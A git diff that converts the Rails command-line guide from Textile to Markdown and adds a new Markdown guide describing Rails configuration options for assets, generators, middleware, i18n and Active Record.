+```
-If you wish to test out some code without changing any data, you can do that by invoking +rails console --sandbox+.
+If you wish to test out some code without changing any data, you can do that by invoking `rails console --sandbox`.
-<shell>
+```bash
$ rails console --sandbox
Loading development environment in sandbox (Rails 3.2.3)
Any modifications you make will be rolled back on exit
irb(main):001:0>
-</shell>
+```
-h4. +rails dbconsole+
+### `rails dbconsole`
-+rails dbconsole+ figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL, PostgreSQL, SQLite and SQLite3.
+`rails dbconsole` figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL, PostgreSQL, SQLite and SQLite3.
-INFO: You can also use the alias "db" to invoke the dbconsole: <tt>rails db</tt>.
+INFO: You can also use the alias "db" to invoke the dbconsole: `rails db`.
-h4. +rails runner+
+### `rails runner`
-<tt>runner</tt> runs Ruby code in the context of Rails non-interactively. For instance:
+`runner` runs Ruby code in the context of Rails non-interactively. For instance:
-<shell>
+```bash
$ rails runner "Model.long_running_method"
-</shell>
+```
-INFO: You can also use the alias "r" to invoke the runner: <tt>rails r</tt>.
+INFO: You can also use the alias "r" to invoke the runner: `rails r`.
-You can specify the environment in which the +runner+ command should operate using the +-e+ switch.
+You can specify the environment in which the `runner` command should operate using the `-e` switch.
-<shell>
+```bash
$ rails runner -e staging "Model.long_running_method"
-</shell>
+```
-h4. +rails destroy+
+### `rails destroy`
-Think of +destroy+ as the opposite of +generate+. It'll figure out what generate did, and undo it.
+Think of `destroy` as the opposite of `generate`. It'll figure out what generate did, and undo it.
-INFO: You can also use the alias "d" to invoke the destroy command: <tt>rails d</tt>.
+INFO: You can also use the alias "d" to invoke the destroy command: `rails d`.
-<shell>
+```bash
$ rails generate model Oops
invoke active_record
create db/migrate/20120528062523_create_oops.rb
@@ -327,8 +329,8 @@ $ rails generate model Oops
invoke test_unit
create test/unit/oops_test.rb
create test/fixtures/oops.yml
-</shell>
-<shell>
+```
+```bash
$ rails destroy model Oops
invoke active_record
remove db/migrate/20120528062523_create_oops.rb
@@ -336,15 +338,16 @@ $ rails destroy model Oops
invoke test_unit
remove test/unit/oops_test.rb
remove test/fixtures/oops.yml
-</shell>
+```
-h3. Rake
+Rake
+----
-Rake is Ruby Make, a standalone Ruby utility that replaces the Unix utility 'make', and uses a 'Rakefile' and +.rake+ files to build up a list of tasks. In Rails, Rake is used for common administration tasks, especially sophisticated ones that build off of each other.
+Rake is Ruby Make, a standalone Ruby utility that replaces the Unix utility 'make', and uses a 'Rakefile' and `.rake` files to build up a list of tasks. In Rails, Rake is used for common administration tasks, especially sophisticated ones that build off of each other.
-You can get a list of Rake tasks available to you, which will often depend on your current directory, by typing +rake --tasks+. Each task has a description, and should help you find the thing you need.
+You can get a list of Rake tasks available to you, which will often depend on your current directory, by typing `rake --tasks`. Each task has a description, and should help you find the thing you need.
-<shell>
+```bash
$ rake --tasks
rake about # List versions of all Rails frameworks and the environment
rake assets:clean # Remove compiled assets
@@ -356,13 +359,13 @@ rake middleware # Prints out your Rack middleware stack
...
rake tmp:clear # Clear session, cache, and socket files from tmp/ (narrow w/ tmp:sessions:clear, tmp:cache:clear, tmp:sockets:clear)
rake tmp:create # Creates tmp directories for sessions, cache, sockets, and pids
-</shell>
+```
-h4. +about+
+### `about`
-<tt>rake about</tt> gives information about version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version. It is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation.
+`rake about` gives information about version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version. It is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation.
-<shell>
+```bash
$ rake about
About your application's environment
Ruby version 1.9.3 (x86_64-linux)
@@ -379,31 +382,31 @@ Application root /home/foobar/commandsapp
Environment development
Database adapter sqlite3
Database schema version 20110805173523
-</shell>
+```
-h4. +assets+
+### `assets`
-You can precompile the assets in <tt>app/assets</tt> using <tt>rake assets:precompile</tt> and remove those compiled assets using <tt>rake assets:clean</tt>.
+You can precompile the assets in `app/assets` using `rake assets:precompile` and remove those compiled assets using `rake assets:clean`.
-h4. +db+
+### `db`
-The most common tasks of the +db:+ Rake namespace are +migrate+ and +create+, and it will pay off to try out all of the migration rake tasks (+up+, +down+, +redo+, +reset+). +rake db:version+ is useful when troubleshooting, telling you the current version of the database.
+The most common tasks of the `db:` Rake namespace are `migrate` and `create`, and it will pay off to try out all of the migration rake tasks (`up`, `down`, `redo`, `reset`). `rake db:version` is useful when troubleshooting, telling you the current version of the database.
-More information about migrations can be found in the "Migrations":migrations.html guide.
+More information about migrations can be found in the [Migrations](migrations.html) guide.
-h4. +doc+
+### `doc`
-The +doc:+ namespace has the tools to generate documentation for your app, API documentation, guides. Documentation can also be stripped which is mainly useful for slimming your codebase, like if you're writing a Rails application for an embedded platform.
+The `doc:` namespace has the tools to generate documentation for your app, API documentation, guides. Documentation can also be stripped which is mainly useful for slimming your codebase, like if you're writing a Rails application for an embedded platform.
-* +rake doc:app+ generates documentation for your application in +doc/app+.
-* +rake doc:guides+ generates Rails guides in +doc/guides+.
-* +rake doc:rails+ generates API documentation for Rails in +doc/api+.
+* `rake doc:app` generates documentation for your application in `doc/app`.
+* `rake doc:guides` generates Rails guides in `doc/guides`.
+* `rake doc:rails` generates API documentation for Rails in `doc/api`.
-h4. +notes+
+### `notes`
-+rake notes+ will search through your code for comments beginning with FIXME, OPTIMIZE or TODO. The search is done in files with extension +.builder+, +.rb+, +.erb+, +.haml+ and +.slim+ for both default and custom annotations.
+`rake notes` will search through your code for comments beginning with FIXME, OPTIMIZE or TODO. The search is done in files with extension `.builder`, `.rb`, `.erb`, `.haml` and `.slim` for both default and custom annotations.
-<shell>
+```bash
$ rake notes
(in /home/foobar/commandsapp)
app/controllers/admin/users_controller.rb:
@@ -413,11 +416,11 @@ app/controllers/admin/users_controller.rb:
app/model/school.rb:
* [ 13] [OPTIMIZE] refactor this code to make it faster
* [ 17] [FIXME]
-</shell>
+```
-If you are looking for a specific annotation, say FIXME, you can use +rake notes:fixme+. Note that you have to lower case the annotation's name.
+If you are looking for a specific annotation, say FIXME, you can use `rake notes:fixme`. Note that you have to lower case the annotation's name.
-<shell>
+```bash
$ rake notes:fixme
(in /home/foobar/commandsapp)
app/controllers/admin/users_controller.rb:
@@ -425,22 +428,22 @@ app/controllers/admin/users_controller.rb:
app/model/school.rb:
* [ 17]
-</shell>
+```
-You can also use custom annotations in your code and list them using +rake notes:custom+ by specifying the annotation using an environment variable +ANNOTATION+.
+You can also use custom annotations in your code and list them using `rake notes:custom` by specifying the annotation using an environment variable `ANNOTATION`.
-<shell>
+```bash
$ rake notes:custom ANNOTATION=BUG
(in /home/foobar/commandsapp)
app/model/post.rb:
* [ 23] Have to fix this one before pushing!
-</shell>
+```
NOTE. When using specific annotations and custom annotations, the annotation name (FIXME, BUG etc) is not displayed in the output lines.
-By default, +rake notes+ will look in the +app+, +config+, +lib+, +script+ and +test+ directories. If you would like to search other directories, you can provide them as a comma separated list in an environment variable +SOURCE_ANNOTATION_DIRECTORIES+.
+By default, `rake notes` will look in the `app`, `config`, `lib`, `script` and `test` directories. If you would like to search other directories, you can provide them as a comma separated list in an environment variable `SOURCE_ANNOTATION_DIRECTORIES`.
-<shell>
+```bash
$ export SOURCE_ANNOTATION_DIRECTORIES='rspec,vendor'
$ rake notes
(in /home/foobar/commandsapp)
@@ -448,93 +451,94 @@ app/model/user.rb:
* [ 35] [FIXME] User should have a subscription at this point
rspec/model/user_spec.rb:
* [122] [TODO] Verify the user that has a subscription works
-</shell>
+```
-h4. +routes+
+### `routes`
-+rake routes+ will list all of your defined routes, which is useful for tracking down routing problems in your app, or giving you a good overview of the URLs in an app you're trying to get familiar with.
+`rake routes` will list all of your defined routes, which is useful for tracking down routing problems in your app, or giving you a good overview of the URLs in an app you're trying to get familiar with.
-h4. +test+
+### `test`
-INFO: A good description of unit testing in Rails is given in "A Guide to Testing Rails Applications":testing.html
+INFO: A good description of unit testing in Rails is given in [A Guide to Testing Rails Applications](testing.html)
-Rails comes with a test suite called <tt>Test::Unit</tt>. Rails owes its stability to the use of tests. The tasks available in the +test:+ namespace helps in running the different tests you will hopefully write.
+Rails comes with a test suite called `Test::Unit`. Rails owes its stability to the use of tests. The tasks available in the `test:` namespace helps in running the different tests you will hopefully write.
-h4. +tmp+
+### `tmp`
-The <tt>Rails.root/tmp</tt> directory is, like the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for files), process id files, and cached actions.
+The `Rails.root/tmp` directory is, like the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for files), process id files, and cached actions.
-The +tmp:+ namespaced tasks will help you clear the <tt>Rails.root/tmp</tt> directory:
+The `tmp:` namespaced tasks will help you clear the `Rails.root/tmp` directory:
-* +rake tmp:cache:clear+ clears <tt>tmp/cache</tt>.
-* +rake tmp:sessions:clear+ clears <tt>tmp/sessions</tt>.
-* +rake tmp:sockets:clear+ clears <tt>tmp/sockets</tt>.
-* +rake tmp:clear+ clears all the three: cache, sessions and sockets.
+* `rake tmp:cache:clear` clears `tmp/cache`.
+* `rake tmp:sessions:clear` clears `tmp/sessions`.
+* `rake tmp:sockets:clear` clears `tmp/sockets`.
+* `rake tmp:clear` clears all the three: cache, sessions and sockets.
-h4. Miscellaneous
+### Miscellaneous
-* +rake stats+ is great for looking at statistics on your code, displaying things like KLOCs (thousands of lines of code) and your code to test ratio.
-* +rake secret+ will give you a pseudo-random key to use for your session secret.
-* <tt>rake time:zones:all</tt> lists all the timezones Rails knows about.
+* `rake stats` is great for looking at statistics on your code, displaying things like KLOCs (thousands of lines of code) and your code to test ratio.
+* `rake secret` will give you a pseudo-random key to use for your session secret.
+* `rake time:zones:all` lists all the timezones Rails knows about.
-h4. Writing Rake Tasks
+### Writing Rake Tasks
If you have (or want to write) any automation scripts outside your app (data import, checks, etc), you can make them as rake tasks. It's easy.
-INFO: "Complete guide about how to write tasks":http://rake.rubyforge.org/files/doc/rakefile_rdoc.html is available in the official documentation.
+INFO: [Complete guide about how to write tasks](http://rake.rubyforge.org/files/doc/rakefile_rdoc.html) is available in the official documentation.
-Tasks should be placed in <tt>Rails.root/lib/tasks</tt> and should have a +.rake+ extension.
+Tasks should be placed in `Rails.root/lib/tasks` and should have a `.rake` extension.
Each task should be defined in next format (dependencies are optional):
-<ruby>
+```ruby
desc "I am short, but comprehensive description for my cool task"
task :task_name => [:prerequisite_task, :another_task_we_depend_on] do
- # All your magick here
+ # All your magic here
# Any valid Ruby code is allowed
end
-</ruby>
+```
If you need to pass parameters, you can use next format (both arguments and dependencies are optional):
-<ruby>
+```ruby
task :task_name, [:arg_1] => [:pre_1, :pre_2] do |t, args|
# You can use args from here
end
-</ruby>
+```
You can group tasks by placing them in namespaces:
-<ruby>
+```ruby
namespace :do
desc "This task does nothing"
task :nothing do
# Seriously, nothing
end
end
-</ruby>
+```
-You can see your tasks to be listed by <tt>rake -T</tt> command. And, according to the examples above, you can invoke them as follows:
+You can see your tasks to be listed by `rake -T` command. And, according to the examples above, you can invoke them as follows:
-<shell>
+```bash
rake task_name
rake "task_name[value 1]" # entire argument string should be quoted
rake do:nothing
-</shell>
+```
-NOTE: If your need to interact with your application models, perform database queries and so on, your task should depend on the +environment+ task, which will load your application code.
+NOTE: If your need to interact with your application models, perform database queries and so on, your task should depend on the `environment` task, which will load your application code.
-h3. The Rails Advanced Command Line
+The Rails Advanced Command Line
+-------------------------------
More advanced use of the command line is focused around finding useful (even surprising at times) options in the utilities, and fitting those to your needs and specific work flow. Listed here are some tricks up Rails' sleeve.
-h4. Rails with Databases and SCM
+### Rails with Databases and SCM
When creating a new Rails application, you have the option to specify what kind of database and what kind of source code management system your application is going to use. This will save you a few minutes, and certainly many keystrokes.
-Let's see what a +--git+ option and a +--database=postgresql+ option will do for us:
+Let's see what a `--git` option and a `--database=postgresql` option will do for us:
-<shell>
+```bash
$ mkdir gitapp
$ cd gitapp
$ git init
@@ -557,11 +561,11 @@ add 'app/controllers/application_controller.rb'
...
create log/test.log
add 'log/test.log'
-</shell>
+```
-We had to create the *gitapp* directory and initialize an empty git repository before Rails would add files it created to our repository. Let's see what it put in our database configuration:
+We had to create the **gitapp** directory and initialize an empty git repository before Rails would add files it created to our repository. Let's see what it put in our database configuration:
-<shell>
+```bash
$ cat config/database.yml
# PostgreSQL. Versions 8.2 and up are supported.
#
@@ -582,21 +586,21 @@ development:
password:
...
...
-</shell>
+```
It also generated some lines in our database.yml configuration corresponding to our choice of PostgreSQL for database.
-NOTE. The only catch with using the SCM options is that you have to make your application's directory first, then initialize your SCM, then you can run the +rails new+ command to generate the basis of your app.
+NOTE. The only catch with using the SCM options is that you have to make your application's directory first, then initialize your SCM, then you can run the `rails new` command to generate the basis of your app.
-h4(#different-servers). +server+ with Different Backends
+### `server` with Different Backends
Many people have created a large number of different web servers in Ruby, and many of them can be used to run Rails. Since version 2.3, Rails uses Rack to serve its webpages, which means that any webserver that implements a Rack handler can be used. This includes WEBrick, Mongrel, Thin, and Phusion Passenger (to name a few!).
-NOTE: For more details on the Rack integration, see "Rails on Rack":rails_on_rack.html.
+NOTE: For more details on the Rack integration, see [Rails on Rack](rails_on_rack.html).
-To use a different server, just install its gem, then use its name for the first parameter to +rails server+:
+To use a different server, just install its gem, then use its name for the first parameter to `rails server`:
-<shell>
+```bash
$ sudo gem install mongrel
Building native extensions. This could take a while...
Building native extensions. This could take a while...
@@ -611,4 +615,4 @@ $ rails server mongrel
=> Booting Mongrel (use 'rails server webrick' to force WEBrick)
=> Rails 3.1.0 application starting on http://0.0.0.0:3000
...
-</shell>
+```
diff --git a/guides/source/configuring.md b/guides/source/configuring.md
new file mode 100644
index 0000000000..8efc1f655f
--- /dev/null
+++ b/guides/source/configuring.md
@@ -0,0 +1,790 @@
+Configuring Rails Applications
+==============================
+
+This guide covers the configuration and initialization features available to Rails applications. By referring to this guide, you will be able to:
+
+* Adjust the behavior of your Rails applications
+* Add additional code to be run at application start time
+
+--------------------------------------------------------------------------------
+
+Locations for Initialization Code
+---------------------------------
+
+Rails offers four standard spots to place initialization code:
+
+* `config/application.rb`
+* Environment-specific configuration files
+* Initializers
+* After-initializers
+
+Running Code Before Rails
+-------------------------
+
+In the rare event that your application needs to run some code before Rails itself is loaded, put it above the call to `require 'rails/all'` in `config/application.rb`.
+
+Configuring Rails Components
+----------------------------
+
+In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The configuration file `config/application.rb` and environment-specific configuration files (such as `config/environments/production.rb`) allow you to specify the various settings that you want to pass down to all of the components.
+
+For example, the default `config/application.rb` file includes this setting:
+
+```ruby
+config.filter_parameters += [:password]
+```
+
+This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same `config` object in `config/application.rb`:
+
+```ruby
+config.active_record.observers = [:hotel_observer, :review_observer]
+```
+
+Rails will use that particular setting to configure Active Record.
+
+### Rails General Configuration
+
+These configuration methods are to be called on a `Rails::Railtie` object, such as a subclass of `Rails::Engine` or `Rails::Application`.
+
+* `config.after_initialize` takes a block which will be run _after_ Rails has finished initializing the application. That includes the initialization of the framework itself, engines, and all the application's initializers in `config/initializers`. Note that this block _will_ be run for rake tasks. Useful for configuring values set up by other initializers:
+
+ ```ruby
+ config.after_initialize do
+ ActionView::Base.sanitized_allowed_tags.delete 'div'
+ end
+ ```
+
+* `config.asset_host` sets the host for the assets. Useful when CDNs are used for hosting assets, or when you want to work around the concurrency constraints builtin in browsers using different domain aliases. Shorter version of `config.action_controller.asset_host`.
+
+* `config.asset_path` lets you decorate asset paths. This can be a callable, a string, or be `nil` which is the default. For example, the normal path for `blog.js` would be `/javascripts/blog.js`, let that absolute path be `path`. If `config.asset_path` is a callable, Rails calls it when generating asset paths passing `path` as argument. If `config.asset_path` is a string, it is expected to be a `sprintf` format string with a `%s` where `path` will get inserted. In either case, Rails outputs the decorated path. Shorter version of `config.action_controller.asset_path`.
+
+ ```ruby
+ config.asset_path = proc { |path| "/blog/public#{path}" }
+ ```
+
+NOTE. The `config.asset_path` configuration is ignored if the asset pipeline is enabled, which is the default.
+
+* `config.autoload_once_paths` accepts an array of paths from which Rails will autoload constants that won't be wiped per request. Relevant if `config.cache_classes` is false, which is the case in development mode by default. Otherwise, all autoloading happens only once. All elements of this array must also be in `autoload_paths`. Default is an empty array.
+
+* `config.autoload_paths` accepts an array of paths from which Rails will autoload constants. Default is all directories under `app`.
+
+* `config.cache_classes` controls whether or not application classes and modules should be reloaded on each request. Defaults to false in development mode, and true in test and production modes. Can also be enabled with `threadsafe!`.
+
+* `config.action_view.cache_template_loading` controls whether or not templates should be reloaded on each request. Defaults to whatever is set for `config.cache_classes`.
+
+* `config.cache_store` configures which cache store to use for Rails caching. Options include one of the symbols `:memory_store`, `:file_store`, `:mem_cache_store`, `:null_store`, or an object that implements the cache API. Defaults to `:file_store` if the directory `tmp/cache` exists, and to `:memory_store` otherwise.
+
+* `config.colorize_logging` specifies whether or not to use ANSI color codes when logging information. Defaults to true.
+
+* `config.consider_all_requests_local` is a flag. If true then any error will cause detailed debugging information to be dumped in the HTTP response, and the `Rails::Info` controller will show the application runtime context in `/rails/info/properties`. True by default in development and test environments, and false in production mode. For finer-grained control, set this to false and implement `local_request?` in controllers to specify which requests should provide debugging information on errors.
+
+* `config.console` allows you to set class that will be used as console you run `rails console`. It's best to run it in `console` block:
+
+ ```ruby
+ console do
+ # this block is called only when running console,
+ # so we can safely require pry here
+ require "pry"
+ config.console = Pry
+ end
+ ```
+
+* `config.dependency_loading` is a flag that allows you to disable constant autoloading setting it to false. It only has effect if `config.cache_classes` is true, which it is by default in production mode. This flag is set to false by `config.threadsafe!`.
+
+* `config.eager_load` when true, eager loads all registered `config.eager_load_namespaces`. This includes your application, engines, Rails frameworks and any other registered namespace.
+
+* `config.eager_load_namespaces` registers namespaces that are eager loaded when `config.eager_load` is true. All namespaces in the list must respond to the `eager_load!` method.
+
+* `config.eager_load_paths` accepts an array of paths from which Rails will eager load on boot if cache classes is enabled. Defaults to every folder in the `app` directory of the application.
+
+* `config.encoding` sets up the application-wide encoding. Defaults to UTF-8.
+
+* `config.exceptions_app` sets the exceptions application invoked by the ShowException middleware when an exception happens. Defaults to `ActionDispatch::PublicExceptions.new(Rails.public_path)`.
+
+* `config.file_watcher` the class used to detect file updates in the filesystem when `config.reload_classes_only_on_change` is true. Must conform to `ActiveSupport::FileUpdateChecker` API.
+
+* `config.filter_parameters` used for filtering out the parameters that you don't want shown in the logs, such as passwords or credit card numbers.
+
+* `config.force_ssl` forces all requests to be under HTTPS protocol by using `ActionDispatch::SSL` middleware.
+
+* `config.log_level` defines the verbosity of the Rails logger. This option defaults to `:debug` for all modes except production, where it defaults to `:info`.
+
+* `config.log_tags` accepts a list of methods that respond to `request` object. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications.
+
+* `config.logger` accepts a logger conforming to the interface of Log4r or the default Ruby `Logger` class. Defaults to an instance of `ActiveSupport::BufferedLogger`, with auto flushing off in production mode.
+
+* `config.middleware` allows you to configure the application's middleware. This is covered in depth in the [Configuring Middleware](#configuring-middleware) section below.
+
+* `config.queue` configures a different queue implementation for the application. Defaults to `ActiveSupport::SynchronousQueue`. Note that, if the default queue is changed, the default `queue_consumer` is not going to be initialized, it is up to the new queue implementation to handle starting and shutting down its own consumer(s).
+
+* `config.queue_consumer` configures a different consumer implementation for the default queue. Defaults to `ActiveSupport::ThreadedQueueConsumer`.
+
+* `config.reload_classes_only_on_change` enables or disables reloading of classes only when tracked files change. By default tracks everything on autoload paths and is set to true. If `config.cache_classes` is true, this option is ignored.
+
+* `config.secret_token` used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `config.secret_token` initialized to a random key in `config/initializers/secret_token.rb`.
+
+* `config.serve_static_assets` configures Rails itself to serve static assets. Defaults to true, but in the production environment is turned off as the server software (e.g. Nginx or Apache) used to run the application should serve static assets instead. Unlike the default setting set this to true when running (absolutely not recommended!) or testing your app in production mode using WEBrick. Otherwise you won´t be able use page caching and requests for files that exist regularly under the public directory will anyway hit your Rails app.
+
+* `config.session_store` is usually set up in `config/initializers/session_store.rb` and specifies what class to use to store the session. Possible values are `:cookie_store` which is the default, `:mem_cache_store`, and `:disabled`. The last one tells Rails not to deal with sessions. Custom session stores can also be specified:
+
+ ```ruby
+ config.session_store :my_custom_store
+ ```
+
+ This custom store must be defined as `ActionDispatch::Session::MyCustomStore`.
+
+* `config.time_zone` sets the default time zone for the application and enables time zone awareness for Active Record.
+
+* `config.beginning_of_week` sets the default beginning of week for the application. Accepts a valid week day symbol (e.g. `:monday`).
+
+* `config.whiny_nils` enables or disables warnings when a certain set of methods are invoked on `nil` and it does not respond to them. Defaults to true in development and test environments.
+
+### Configuring Assets
+
+Rails 3.1, by default, is set up to use the `sprockets` gem to manage assets within an application. This gem concatenates and compresses assets in order to make serving them much less painful.
+
+* `config.assets.enabled` a flag that controls whether the asset pipeline is enabled. It is explicitly initialized in `config/application.rb`.
+
+* `config.assets.compress` a flag that enables the compression of compiled assets. It is explicitly set to true in `config/production.rb`.
+
+* `config.assets.css_compressor` defines the CSS compressor to use. It is set by default by `sass-rails`. The unique alternative value at the moment is `:yui`, which uses the `yui-compressor` gem.
+
+* `config.assets.js_compressor` defines the JavaScript compressor to use. Possible values are `:closure`, `:uglifier` and `:yui` which require the use of the `closure-compiler`, `uglifier` or `yui-compressor` gems respectively.
+
+* `config.assets.paths` contains the paths which are used to look for assets. Appending paths to this configuration option will cause those paths to be used in the search for assets.
+
+* `config.assets.precompile` allows you to specify additional assets (other than `application.css` and `application.js`) which are to be precompiled when `rake assets:precompile` is run.
+
+* `config.assets.prefix` defines the prefix where assets are served from. Defaults to `/assets`.
+
+* `config.assets.digest` enables the use of MD5 fingerprints in asset names. Set to `true` by default in `production.rb`.
+
+* `config.assets.debug` disables the concatenation and compression of assets. Set to `true` by default in `development.rb`.
+
+* `config.assets.cache_store` defines the cache store that Sprockets will use. The default is the Rails file store.
+
+* `config.assets.version` is an option string that is used in MD5 hash generation. This can be changed to force all files to be recompiled.
+
+* `config.assets.compile` is a boolean that can be used to turn on live Sprockets compilation in production.
+
+* `config.assets.logger` accepts a logger conforming to the interface of Log4r or the default Ruby `Logger` class. Defaults to the same configured at `config.logger`. Setting `config.assets.logger` to false will turn off served assets logging.
+
+### Configuring Generators
+
+Rails 3 allows you to alter what generators are used with the `config.generators` method. This method takes a block:
+
+```ruby
+config.generators do |g|
+ g.orm :active_record
+ g.test_framework :test_unit
+end
+```
+
+The full set of methods that can be used in this block are as follows:
+
+* `assets` allows to create assets on generating a scaffold. Defaults to `true`.
+* `force_plural` allows pluralized model names. Defaults to `false`.
+* `helper` defines whether or not to generate helpers. Defaults to `true`.
+* `integration_tool` defines which integration tool to use. Defaults to `nil`.
+* `javascripts` turns on the hook for JavaScript files in generators. Used in Rails for when the `scaffold` generator is run. Defaults to `true`.
+* `javascript_engine` configures the engine to be used (for eg. coffee) when generating assets. Defaults to `nil`.
+* `orm` defines which orm to use. Defaults to `false` and will use Active Record by default.
+* `performance_tool` defines which performance tool to use. Defaults to `nil`.
+* `resource_controller` defines which generator to use for generating a controller when using `rails generate resource`. Defaults to `:controller`.
+* `scaffold_controller` different from `resource_controller`, defines which generator to use for generating a _scaffolded_ controller when using `rails generate scaffold`. Defaults to `:scaffold_controller`.
+* `stylesheets` turns on the hook for stylesheets in generators. Used in Rails for when the `scaffold` generator is run, but this hook can be used in other generates as well. Defaults to `true`.
+* `stylesheet_engine` configures the stylesheet engine (for eg. sass) to be used when generating assets. Defaults to `:css`.
+* `test_framework` defines which test framework to use. Defaults to `false` and will use Test::Unit by default.
+* `template_engine` defines which template engine to use, such as ERB or Haml. Defaults to `:erb`.
+
+### Configuring Middleware
+
+Every Rails application comes with a standard set of middleware which it uses in this order in the development environment:
+
+* `ActionDispatch::SSL` forces every request to be under HTTPS protocol. Will be available if `config.force_ssl` is set to `true`. Options passed to this can be configured by using `config.ssl_options`.
+* `ActionDispatch::Static` is used to serve static assets. Disabled if `config.serve_static_assets` is `false`.
+* `Rack::Lock` wraps the app in mutex so it can only be called by a single thread at a time. Only enabled when `config.cache_classes` is `false`.
+* `ActiveSupport::Cache::Strategy::LocalCache` serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread.
+* `Rack::Runtime` sets an `X-Runtime` header, containing the time (in seconds) taken to execute the request.
+* `Rails::Rack::Logger` notifies the logs that the request has began. After request is complete, flushes all the logs.
+* `ActionDispatch::ShowExceptions` rescues any exception returned by the application and renders nice exception pages if the request is local or if `config.consider_all_requests_local` is set to `true`. If `config.action_dispatch.show_exceptions` is set to `false`, exceptions will be raised regardless.
+* `ActionDispatch::RequestId` makes a unique X-Request-Id header available to the response and enables the `ActionDispatch::Request#uuid` method.
+* `ActionDispatch::RemoteIp` checks for IP spoofing attacks. Configurable with the `config.action_dispatch.ip_spoofing_check` and `config.action_dispatch.trusted_proxies` settings.
+* `Rack::Sendfile` intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with `config.action_dispatch.x_sendfile_header`.
+* `ActionDispatch::Callbacks` runs the prepare callbacks before serving the request.
+* `ActiveRecord::ConnectionAdapters::ConnectionManagement` cleans active connections after each request, unless the `rack.test` key in the request environment is set to `true`.
+* `ActiveRecord::QueryCache` caches all SELECT queries generated in a request. If any INSERT or UPDATE takes place then the cache is cleaned.
+* `ActionDispatch::Cookies` sets cookies for the request.
+* `ActionDispatch::Session::CookieStore` is responsible for storing the session in cookies. An alternate middleware can be used for this by changing the `config.action_controller.session_store` to an alternate value. Additionally, options passed to this can be configured by using `config.action_controller.session_options`.
+* `ActionDispatch::Flash` sets up the `flash` keys. Only available if `config.action_controller.session_store` is set to a value.
+* `ActionDispatch::ParamsParser` parses out parameters from the request into `params`.
+* `Rack::MethodOverride` allows the method to be overridden if `params[:_method]` is set. This is the middleware which supports the PATCH, PUT, and DELETE HTTP method types.
+* `ActionDispatch::Head` converts HEAD requests to GET requests and serves them as so.
+* `ActionDispatch::BestStandardsSupport` enables "best standards support" so that IE8 renders some elements correctly.
+
+Besides these usual middleware, you can add your own by using the `config.middleware.use` method:
+
+```ruby
+config.middleware.use Magical::Unicorns
+```
+
+This will put the `Magical::Unicorns` middleware on the end of the stack. You can use `insert_before` if you wish to add a middleware before another.
+
+```ruby
+config.middleware.insert_before ActionDispatch::Head, Magical::Unicorns
+```
+
+There's also `insert_after` which will insert a middleware after another:
+
+```ruby
+config.middleware.insert_after ActionDispatch::Head, Magical::Unicorns
+```
+
+Middlewares can also be completely swapped out and replaced with others:
+
+```ruby
+config.middleware.swap ActionDispatch::BestStandardsSupport, Magical::Unicorns
+```
+
+They can also be removed from the stack completely:
+
+```ruby
+config.middleware.delete ActionDispatch::BestStandardsSupport
+```
+
+### Configuring i18n
+
+* `config.i18n.default_locale` sets the default locale of an application used for i18n. Defaults to `:en`.
+
+* `config.i18n.load_path` sets the path Rails uses to look for locale files. Defaults to `config/locales/*.{yml,rb}`.
+
+### Configuring Active Record
+
+`config.active_record` includes a variety of configuration options:
+
+* `config.active_record.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling `logger` on either an Active Record model class or an Active Record model instance. Set to `nil` to disable logging.
+
+* `config.active_record.primary_key_prefix_type` lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named `id` (and this configuration option doesn't need to be set.) There are two other choices:
+** `:table_name` would make the primary key for the Customer class `customerid`
+** `:table_name_with_underscore` would make the primary key for the Customer class `customer_id`
+
+* `config.active_record.table_name_prefix` lets you set a global string to be prepended to table names. If you set this to `northwest_`, then the Customer class will look for `northwest_customers` as its table. The default is an empty string.
+
+* `config.active_record.table_name_suffix` lets you set a global string to be appended to table names. If you set this to `_northwest`, then the Customer class will look for `customers_northwest` as its table. The default is an empty string.
+
+* `config.active_record.pluralize_table_names` specifies whether Rails will look for singular or plural table names in the database. If set to true (the default), then the Customer class will use the `customers` table. If set to false, then the Customer class will use the `customer` table.
+
+* `config.active_record.default_timezone` determines whether to use `Time.local` (if set to `:local`) or `Time.utc` (if set to `:utc`) when pulling dates and times from the database. The default is `:utc` for Rails, although Active Record defaults to `:local` when used outside of Rails.
+
+* `config.active_record.schema_format` controls the format for dumping the database schema to a file. The options are `:ruby` (the default) for a database-independent version that depends on migrations, or `:sql` for a set of (potentially database-dependent) SQL statements.
+
+* `config.active_record.timestamped_migrations` controls whether migrations are numbered with serial integers or with timestamps. The default is true, to use timestamps, which are preferred if there are multiple developers working on the same application.
+
+* `config.active_record.lock_optimistically` controls whether Active Record will use optimistic locking and is true by default.
+
+* `config.active_record.whitelist_attributes` will create an empty whitelist of attributes available for mass-assignment security for all models in your app.
+
+* `config.active_record.auto_explain_threshold_in_seconds` configures the threshold for automatic EXPLAINs (`nil` disables this feature). Queries exceeding the threshold get their query plan logged. Default is 0.5 in development mode.
+
+* `config.active_record.mass_assignment_sanitizer` will determine the strictness of the mass assignment sanitization within Rails. Defaults to `:strict`. In this mode, mass assigning any non-`attr_accessible` attribute in a `create` or `update_attributes` call will raise an exception. Setting this option to `:logger` will only print to the log file when an attribute is being assigned and will not raise an exception.
+
+The MySQL adapter adds one additional configuration option:
+
+* `ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans` controls whether Active Record will consider all `tinyint(1)` columns in a MySQL database to be booleans and is true by default.
+
+The schema dumper adds one additional configuration option:
+
